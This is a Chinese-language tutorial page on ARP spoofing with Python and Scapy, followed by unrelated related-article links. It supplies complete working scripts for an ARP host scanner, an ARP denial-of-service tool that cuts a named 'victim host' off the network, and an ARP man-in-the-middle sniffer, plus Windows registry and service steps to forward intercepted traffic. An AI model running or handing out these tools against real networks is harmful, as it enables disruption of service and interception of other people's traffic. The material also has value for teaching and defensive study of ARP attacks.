ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假MAC地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。

首先我们来实现一个简单的ARP扫描功能,要实现ARP探测功能很容易,如下代码中我们分别封装实现两个函数,函数Parse_IP用于传入一个IP地址字符串自动生成该网段内的所有主机数,函数ARP_Scan则用于发送ARP数据包,在构造时直接使用ARP函数即可,构造后通过sr1将其发送出去并等待返回结果。

from scapy.all import *
import argparse
import threading,time
import logging # 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr # 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1) if __name__ == "__main__":
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
parser = argparse.ArgumentParser()
parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")
args = parser.parse_args()
# 使用方式: main.py -s 192.168.1.1/100
if args.scan:
addr_list = Parse_IP(args.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()

上述代码通过指定-s并传入一个地址网段192.168.9.0/24则自动计算该网段主机数,并依次对主机进行存活检测,输出效果图如下所示;

当我们能够得到内网中特定主机的IP地址以及MAC地址后,则下一步就可以使用ARP断网攻击了,该攻击原理是攻击者在目标网络中发送虚假的ARP响应包,使得目标设备误认为网关的MAC地址已经更改为攻击者的MAC地址,导致目标设备无法正常访问外部网络,从而达到网络断网的目的。

读者在使用ARP断网之前还是需要通过ipconfig /all命令确定当前网卡的网卡名称,如下图所示网卡描述则是我们需要的东西;

接着来看一下如何实现ARP断网攻击的,断网攻击的核心在于SendPayLoad函数,该函数每次调用都将发送两个数据包,第一个数据包用于伪造网关欺骗目标计算机我是网关,第二个数据包用于伪造被欺骗计算机,用于向网关表明身份,有了这两个数据包并配合多线程发包则此时被攻击主机将会出现网络无法连接的情况。

from scapy.all import *
import argparse
import threading,time
import logging # 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))
# 生成ARP数据包,伪造网关欺骗目标计算机
sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
# 生成ARP数据包,伪造目标计算机欺骗网关
sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface) if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="输入接口名")
parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")
args = parser.parse_args() # 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
if args.gateway and args.target:
srcMac = get_if_hwaddr(args.interface) # 通过接口名称获取本机MAC地址
tgtMac = getmacbyip(args.target) # 通过IP地址获取目标计算机的MAC地址
gatewayMac = getmacbyip(args.gateway) # 指定本机网段的网关MAC地址
while True:
t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
t.start()
t.join()
time.sleep(1)
else:
parser.print_help()

读者在调用时需要传入三个参数,首先通过-i传入网卡名称,接着通过-g指定当前网段内网关名称,使用-t用于指定被害主机地址,运行后如下图所示;

有了ARP断网接着就来实现ARP嗅探功能,针对断网攻击对于攻击者来说其实无法得到更多有用的数据,我们还是希望能够监控目标主机的数据包,并通过分析数据包得知一些特殊操作,为了实现这个功能,就需要改进断网程序让其具备嗅探的功能,要实现嗅探而不是断网则需要进行两步配置,首先需要开启注册表转发功能,此处可以输入命令regedit打开注册表编辑器,并在其中定位到:

  • HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters

选择下面的项目IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1至此即可开启主机的IP数据路由功能。

接着读者还需要打开系统服务菜单,并找到Routing And RemoteAccess数据包转发服务,此处如果没有打开请自行将其开启,当开启后我们的主机将会具备路由转发功能,这样即可实现模拟路由器的效果。

嗅探的原理很简单,如下是一个完整的数据包嗅探工具,其中createArp2Station函数用于生成伪造网关的数据包用于欺骗客户端,createArp2Gateway函数则用于伪造目标主机数据包并欺骗网关,当有了这两个函数,再配合sniff抓包即可实现数据包的捕获,如果读者需要自行分析数据包来往则可以自定义Packet_CallBack回调函数实现。

import sys,os,threading
import argparse
from scapy.all import * # 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):
dst_Mac=str(getmacbyip(target_ip))
self_Mac=str(get_if_hwaddr(interface))
Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
try:
sendp(Ether_data,inter=2,iface=interface,loop=1)
except Exception as e:
print("目标ARP数据发送失败!") # 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):
dst_Mac = getmacbyip(gateway_ip)
self_Mac = get_if_hwaddr(interface)
Ether_data = None
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
try:
sendp(Ether_data, inter=2,iface=interface,loop=1)
except Exception as e:
print("网关ARP数据发送失败!") def Packet_CallBack(pkt):
if pkt.haslayer(IP):
if pkt.getlayer(IP).src != "127.0.0.1":
ip_src = pkt.getlayer(IP).src
ip_dst = pkt.getlayer(IP).dst
print("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst)) if __name__ == "__main__":
# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")
parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")
parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
args = parser.parse_args()
if args.interface and args.target_ip and args.gateway:
try:
t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
t2.setDaemon(True)
t2.start()
sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
except Exception:
sys.exit(1)
while True:
pass
else:
parser.print_help()

读者可自行运行上述程序,并通过-i属性指定网卡名,通过-g属性指定网关地址,通过-t指定为被害主机地址,运行后读者即可看到被害主机的数据包流向信息,如下图所示;

此时被害主机的所有数据包都会经过我们的主机,读者可打开WireShark并启动抓包,此时输入输入不同的过滤语句,即可指定需要查看的数据包类型,此时我们就是实现了对特定主机的监控,当然这种监控数据包会掺杂我们自己的主机发出的,读者可自行编写过滤规则实现过滤;

21.6 Python 构建ARP中间人数据包的更多相关文章

  1. 从零开始学安全(四十二)●利用Wireshark分析ARP协议数据包

    wireshark:是一个网络封包分析软件.网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料.Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,是目前 ...

  2. ETHERNET数据包格式( IP & UDP & ICMP & ARP )

    ETHERNET数据包格式( IP & UDP & ICMP & ARP ) ETHERNET数据包格式 一.ETHERNET 数据包的协议类型 TYPE 的值为 0x0800 ...

  3. 承载于以太网帧之上的数据包的解析——ARP、IPv4、IPv6

    承接上一博文而来,继续解析网络数据包,对于承载在以太网上的三种协议进行了解析,主要是分为依据RFC定义的标准先解析头部数据,然后得到有效载荷,即为协议包括的实体数据,更上层进行进一步处理. 一.ARP ...

  4. ARP数据包分析

    转载请注明来源:https://www.cnblogs.com/hookjc/ 本机IP:192.168.0.1 (c0 a8 00 01)本机MAC:00-50-56-c0-00-01目标IP:19 ...

  5. 010 使用netmap API接管网卡,接收数据包,回应ARP请求

    一.本文目的: 上一节中,我们已经在CentOS 6.7 上安装好了netmap,也能接收和发送包了,这节我们来调用netmap中的API,接管网卡,对网卡上收到的数据包做分析,并回应ARP请求. 二 ...

  6. 用Python构造ARP请求、扫描、欺骗

    目录 0. ARP介绍 1. Scapy简述 2. Scapy简单演示 2.1 安装 2.2 构造包演示 2.2.1 进入kamene交互界面 2.2.2 查看以太网头部 2.2.3 查看 ICMP ...

  7. [置顶] NS2中对TCP数据包和ACK包的TCP Sink类的主要实现代码详尽剖析--吐血放送

    NS2中对TCP数据包和ACK包的TCP Sink类的主要实现代码详尽剖析,限于个人水平,如有错误请留言指出! TcpSink类的recv()方法: void TcpSink::recv(Packet ...

  8. Linux 中的网络数据包捕获

    Linux 中的网络数据包捕获 Ashish Chaurasia, 工程师 简介: 本教程介绍了捕获和操纵数据包的不同机制.安全应用程序,如 VPN.防火墙和嗅探器,以及网络应用程序,如路由程序,都依 ...

  9. python 脚本开发实战-当当亚马逊图书采集器转淘宝数据包

    开发环境python2.7.9 os:win-xp exe打包工具pyinstaller 界面tkinter ============================================= ...

  10. ARP数据包伪造

      一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪 ...

随机推荐

  1. VWAP 订单的最佳执行方法:随机控制法

    更多精彩内容,欢迎关注公众号:数量技术宅,也可添加技术宅个人微信号:sljsz01,与我交流. 引言:相关研究 在当今的投资领域,算法交易正迅速成为客户获取和清算股票头寸的首选方法. 通常,被委托者会 ...

  2. SpringBoot 项目实战 | 瑞吉外卖 Day02

    该系列将记录一份完整的实战项目的完成过程,该篇属于第二天 案例来自B站黑马程序员Java项目实战<瑞吉外卖>,请结合课程资料阅读以下内容 该篇我们将完成以下内容: 完善登陆系统 新增员工 ...

  3. POJ:3660 Cow Contest (传递闭包 + Floyd)

    POJ 3660 http://poj.org/problem?id=3660 思路: 传递闭包 输入A > B,那么我们可以建立一套A ->B 的边. 然后求出传递闭包. 判断一个人是否 ...

  4. Kite 使用教程 轻量级代码提示

    概述 今天看小甲鱼视频的VSC Python 安装教程里视频博主强烈推荐安装Kite插件 ,这是什么玩意? 下载下来试一试? 原来:就是一个代码提示插件.. 说白了" 就是让开发者 在轻量级 ...

  5. vivo 全球商城:从 0 到 1 代销业务的融合之路

    代销是 vivo 商城已经落地的成熟业务,本文提供给各位读者 vivo 商城代销业务中两个异构系统业务融合的对接经验和架构思路. 一.业务背景 近两年,内销商城业务的发展十分迅速,vivo 商城系统的 ...

  6. 阿里云蝉联 FaaS 领导者,产品能力获最高分

    日前,权威咨询机构 Forrester 发布 The Forrester Wave: Functions-As-A-Service Platforms, Q2 2023.阿里云凭借函数计算的产品能力在 ...

  7. Asp .Net Core 系列:集成 Ocelot+Nacos+Swagger+Cors实现网关、服务注册、服务发现

    目录 简介 什么是 Ocelot ? 什么是 Nacos ? 什么是 Swagger ? 什么是 Cors ? Asp .Net Core 集成 Ocelot 网关集成 Nacos 下游配置 Naco ...

  8. NLP复习之神经网络

    NLP复习之神经网络 前言 tips: 设计神经网络时,输入层与输出层节点数往往固定,中间层可以自由指定: 神经网络中的拓扑与箭头代表预测过程数据流向,与训练的数据流有一定区别: 我们不妨重点关注连接 ...

  9. 【Spring 5核心原理】1设计模式

    1.1开闭原则 开闭原则(open-closed principle,OCP)是指一个软件实体(如类,模块和函数)应该对扩展开放,对修改关闭.所谓的开闭,也正是对扩展和修改两个行为的一个原则. 强调用 ...

  10. [转帖]美国出口管制第六番 ECCN编码的藏宝图之旅

    https://zhuanlan.zhihu.com/p/585040344 哈喽大家好,这里是大话合规 一旦明确物项受EAR管制(大前提) 下一步就是对物项进行编码 @#¥%&* 这篇文章蜗 ...